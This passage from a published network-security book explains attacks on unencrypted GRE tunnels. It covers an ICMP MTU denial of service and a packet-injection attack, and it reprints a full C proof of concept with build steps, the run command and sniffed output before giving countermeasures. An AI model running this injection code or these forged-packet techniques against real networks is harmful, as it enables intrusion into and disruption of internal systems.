GRE EXPLOITATION

With the increase of bandwidth availability and the decrease of associated costs of installation and maintenance, many companies employ virtual private networks (VPNs) in their infrastructure. Several factors reinforce this practice, with the main reason being purely financial, since in the modern world of high-speed Internet, it is cheaper to have a fat pipe to the Internet through which the connections to other branches are established rather than to use a separate leased line for each remote location. It is also cheaper, both administratively and financially , to maintain a Cisco VPN Concentrator than to maintain a large pool of telephone lines connected to Cisco Access Server (AS) for users who require remote access to the company's internal IT resources.

One of the most popular and widely employed protocols that performs such function is the GRE protocol that builds a path through the public Internet and makes it possible for otherwise publicly unroutable protocols and non-IP based traffic to reach their destinations. Designed in 1994 and described in RFCs 1701 and 1702, GRE v0 can encapsulate up to 20 different types of protocols, thus satisfying transport-carrying requirements of a large majority of modern networks. The bad news is that although it is considered as a VPN protocol by many, in fact it isn't, since no encryption is performed on any part of the data journey, even on the hostile Internet part. Authentication is not implemented, either.

The following two optional fields of the protocol described in the extension RFC 2890 are provided for, but not necessarily supported by, different implementations :

  • The optional 32-bit tunnel key used for identifying individual traffic flows within a tunnel. Despite the fancy name , its use for defending tunnel integrity is of a limited nature, since the field is restricted to 2 32 number combinations and can be quite easily bruteforced.

  • A weak implementation of the sequence number used to provide a rather unreliable method of in-order delivery. It is possible to reset the sequence numbering consistency by halting the outgoing communication of the sending router and bombarding the receiving one with the GRE packets with sequence number set to 1. The receiving end would eventually assume that the other router has rebooted and would reset the sequence, ignoring the legitimate packets and halting the tunnel.

An MTU-Based Attack Against GRE

Attack 

Popularity:

1

Simplicity:

6

Impact:

5

Risk Rating:

4

You may often find the Path MTU Discovery (PMTUD) option set on routers providing GRE tunneling. Although this option is disabled by default, some devices have it enabled to find the best maximum transmission unit (MTU) of the path dynamically to minimize IP fragmentation and use bandwidth more efficiently . Such implementations are vulnerable to DoS attacks from a specially crafted ICMP "fragmentation needed but DF bit set" packet. By sending forged ICMP Type 3 Code 4 "Destination Unreachable, fragmentation needed but DF bit is set" packets to the host, and making these packets report a low value for Next-Hop MTUas low as 68an attacker can set the connection's PMTU to a very low value, which would reduce the throughput of the connection and result in higher layer protocols starting to timeout. To protect yourself against this type of an attack, you might consider disabling PMTUD or upgrading to the latest versions of the IOS. Consult http://www.cisco.com/en/US/products/products_security_advisory09186a0080436587.shtml for the list of affected code trains.

Several tools exist for manipulating the contents and creation of the custom ICMP messages. You might want to have a look at SING and Nemesis ICMP in detail to execute ICMP-based attacks.

GRE Packet Injection

Attack 

Popularity:

4

Simplicity:

6

Impact:

8

Risk Rating:

6

Another attack discovered by FX from Phenoelit in 2001 does not attack the routers performing GRE tunneling; rather, it injects packets into the network that is encapsulated inside the GRE packets and bounces back the response to the outside network. The concept of such an attack is also implemented in a WEPWedgie attack against WEPed 802.11 and was mentioned in Chapter 12 in relation to VLAN/PVLAN hopping . A typical situation that is described in FX's research paper involves a standard star connection layout of the branch routers connected to the main office. For several reasons, such as centralized logging and monitoring of employee traffic, or central security management, all the traffic from the branch offices is routed via the GRE tunnels to the router at the main office and out to the Internet.

To execute an attack against the host on the internal network, you need to know the external IPs of both ends providing GRE tunneling as well as the internal IP of the host you are attacking. This can be achieved in several waysyou can consult Chapters 4 and #ch05, which describe how to get configuration details out of routers; read other Hacking Exposed tomes on more general attacks; or employ social engineering techniques and your imagination . An overview of the GRE attack is shown in Figure 13-1.

image from book
Figure 13-1: An overview of the GRE attack

First, we need to form a GRE packet with the destination IP being the xxx.xxx.xxx.5 (one end of the GRE tunnel) and source IP being xxx.xxx.xxx.1 (the other end of the GRE tunnel). The GRE header of the packet is initially set as empty and in the payload we place our packet with destination IP a.a.a.5 (the victim host internal IP) and the source IP being the address of the host that we control that can be used to sniff the received response. Note that we need to place the packet in a way that would definitely generate a response; otherwise, we will never find out whether the attack has succeeded.

FX has written a proof-of-concept code that allows for the ICMP ping injection, which is a wise choice, since the hosts on the internal net would tend not to block the incoming ICMP echo requests . The code is in the alpha stage, but it works. It is attached in FX's presentation on attacking GRE tunnels, which can be obtained from http://www.phenoelit.de/irpas/gre.html .

 /* GRE intrusion proof of concept       *       * FX <fx@phenoelit.de>       *       * $Id: gre.c,v 1.1 2000/11/20 20:12:34 fx Exp fx $       */      #include <stdio.h>      #include <stdlib.h>      #include <unistd.h>      #include <string.h>      #include <netinet/in.h>      #include <rpc/types.h>      #include <netdb.h>      #include <sys/socket.h>      #include <arpa/inet.h>      #include <errno.h>      #include <signal.h>      #include <sys/types.h>      #include <fcntl.h>      #include "protocols.h"      #include "packets.h"      /* This is a very crappy test.       * We send a ping packet to VICTIM, intruding into the GRE tunnel between       * ROUTER A and ROUTER B. VICTIM is located behind ROUTER A.       * This is done using the following information:       *      VICTIM's IP address       *      ROUTER A's       *              Outside IP       *              Tunnel destination setting (probably ROUTER B)       *      ROUTER B's       *              Outside IP       *       * The packet is encapsulated in a IPv4 and GRE (RFC1701) header. Then it is       * sent to ROUTER A with the sender address of ROUTER A's tunnel source       * address (probably ROUTER B's outside IP). Then VICTIM should respond to       * the ICMP echo and send it according to his default router to ROUTER A. The       * source address of the encapsulated packet is our own IP. So, if ROUTER A       * can reach us, he will send the packet back to us. If not, he will probably       * send the packet to ROUTER B in GRE and he will send it to us.       */      #define VICTIM        "v.v.v.5"      #define ROUTER_A      "xxx.xxx.xxx.xx5"      #define ROUTER_B      "xxx.xxx.xxx.xx1"      struct {          struct in_addr router_a;          struct in_addr router_b;          struct in_addr victim;      } cfg;      int main(int argc, char **argv) {         u_char      *packet;         iphdr_t     *ip_gre,*ip_my;         grehdr_t    *gre;         icmp_ping_t *ping;         int         psize;         int         socket;       /* init a socket and fill packet_ifconfig */       socket=init_socket_IP4("eth0",0);       /* make the ip addresses */       inet_aton(VICTIM,&(cfg.victim));       inet_aton(ROUTER_A,&(cfg.router_a));       inet_aton(ROUTER_B,&(cfg.router_b));       /* build the outer packet */       psize=sizeof(iphdr_t)*2           +sizeof(grehdr_t)           +sizeof(icmp_ping_t);       packet=(u_char *)smalloc(psize+3);       ip_gre=(iphdr_t *)packet;       ip_gre->version=4;       ip_gre->ihl=sizeof(iphdr_t)/4;       ip_gre->tot_len=htons(psize);       ip_gre->protocol=IPPROTO_GRE;       ip_gre->id=htons(0xAFFE);           /* crap, but hey, it's a test */       ip_gre->ttl=30;       memcpy(&(ip_gre->saddr.s_addr),&(cfg.router_b.s_addr),IP_ADDR_LEN);       memcpy(&(ip_gre->daddr.s_addr),&(cfg.router_a.s_addr),IP_ADDR_LEN);       gre=(grehdr_t *)(packet+sizeof(iphdr_t));       gre->flags=0;       gre->proto=htons(0x0800);           /* IPv4 - see RFC1700 */       ip_my=(iphdr_t *)(packet+sizeof(iphdr_t)+sizeof(grehdr_t));       ip_my->version=4;       ip_my->ihl=sizeof(iphdr_t)/4;       ip_my->tot_len=htons(sizeof(iphdr_t)+sizeof(icmp_ping_t));       ip_my->protocol=IPPROTO_ICMP;       ip_my->id=htons(0xF0F0);       ip_my->ttl=30;       memcpy(&(ip_my->saddr.s_addr),                   &(packet_ifconfig.ip.s_addr),IP_ADDR_LEN);       memcpy(&(ip_my->daddr.s_addr),&(cfg.victim),IP_ADDR_LEN);       /* we have to compute the checksum ourselves, because there is no interface       * that will do this for us */       ip_my->check=chksum((u_char *)(ip_my),sizeof(iphdr_t));       ping=(icmp_ping_t *)(packet+sizeof(iphdr_t)*2+sizeof(grehdr_t));       ping->icmp.type=ICMP_ECHO;       ping->echo.identifier=0x22;       ping->icmp.checksum=chksum((u_char *)ping,sizeof(icmp_ping_t));       /* send the test packet */       sendpack_IP4(socket,packet,psize);       close(socket);       return 0;      } 

Don't expect the code to compile straight away; you would need to set up the IRPAS suite from the Phenoelit Tools section. Download and untar the IRPAS, save the above program in the IRPAS directory under gre.c , and open the Makefile . You would need to add the gre.o and gre in the OBJECTS and PROGRAMS definitions, and also add the following lines, which would determine the compilation of the gre.c :

 gre.o: gre.c packets.h protocols.h             ${CC} ${CFLAGS} -c gre.c      gre: gre.o libpackets.a             ${CC} ${CFLAGS} -o gre gre.o -lpackets ${CLIBS} 

At this point, each time you need to execute an attack against a particular target, you would need to change the values in gre.c describing the prerequisites of the attack and recompile the tool.

 VICTIM, ROUTER_A and ROUTER_B 

Once such a packet is received by the branch router, it will get decapsulated and the forged IP packet would be passed along the routing table of the router and to the victim. The branch router would perform a check on the source address of the GRE packet prior to decapsulation, but since it was faked as coming from the main office router, it would be accepted and passed through.

Once the packet reaches the victim machine, the ICMP echo response is generated and sent back to the IP address specified, which is our sniffing machine on the Internet. In our case, the default route for all traffic lies through the main office router, so the packet gets sent back via the GRE tunnel to the main office, from where it is forwarded to our host. You should not expect the arriving packet to have the a.a.a.5 IP address, since the private addresses would be translated via Network Address Translation (NAT) by the router at the main office, so you would have to "tune" your tcpdump sniffing session to catch it. Then you should see a response from the victim host.

The attack is really simple: just execute # ./gre and switch over to the tcpdump "listening station" for the response. Here is what appears on the router receiving the packet:

 025620: 15:55:22: IP: s=a.a.a.1 (Tunnel0), d=v.v.v.1 (Ethernet0/1), len 84, rcvd 3      025621: 15:55:22: IP: s=v.v.v.1 (Ethernet0/1), d=a.a.a.1 (Tunnel0), len 84, sending 

And here is the output from the listening station, where you can see the ICMP response:

 15:55:22.553968 IP xxx.xxx.xxx.1 > a.a.a.1: icmp 64: echo reply seq 0 

Although such an attack sounds quite simple to implement, there is no guarantee that it would work in 100 percent of the cases. It depends on the setup of the network and configuration of the firewall. However, the rules for the tunneled internal traffic are usually much more relaxed , and you have a good chance of breaking in this way. Even though you might not get the response from the victim the first time, it does not mean that the packets are not getting to the host. In this example, the target host might have blocked the pings or the ICMP echo response would have not been allowed to the outside of the LAN by a router or a firewall. Depending on your aim, it is still possible to root the target box by utilizing techniques not requiring bidirectional communication with the victim.

Countermeasures Against GRE Attacks

Countermeasures 

Nowadays, a person running an unencrypted GRE tunnel over the Internet would be considered careless at least. The best way to protect your communication is by utilizing proper encryption and authentication, or you can also employ Access Control Lists (ACLs) on the firewall that would apply to the traffic coming out of the tunnel. It is not that difficult, after all, to employ at least the Pre-Shared Key (PSK) IPSec to protect the contents of the GRE-encapsulated packet and thwart an attacker. We will cover attacks against Cisco IPSec setups later in this chapter.



Hacking Exposed Cisco Networks
Hacking Exposed Cisco Networks: Cisco Security Secrets & Solutions
ISBN: 0072259175
EAN: 2147483647
Year: 2005
Pages: 117

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net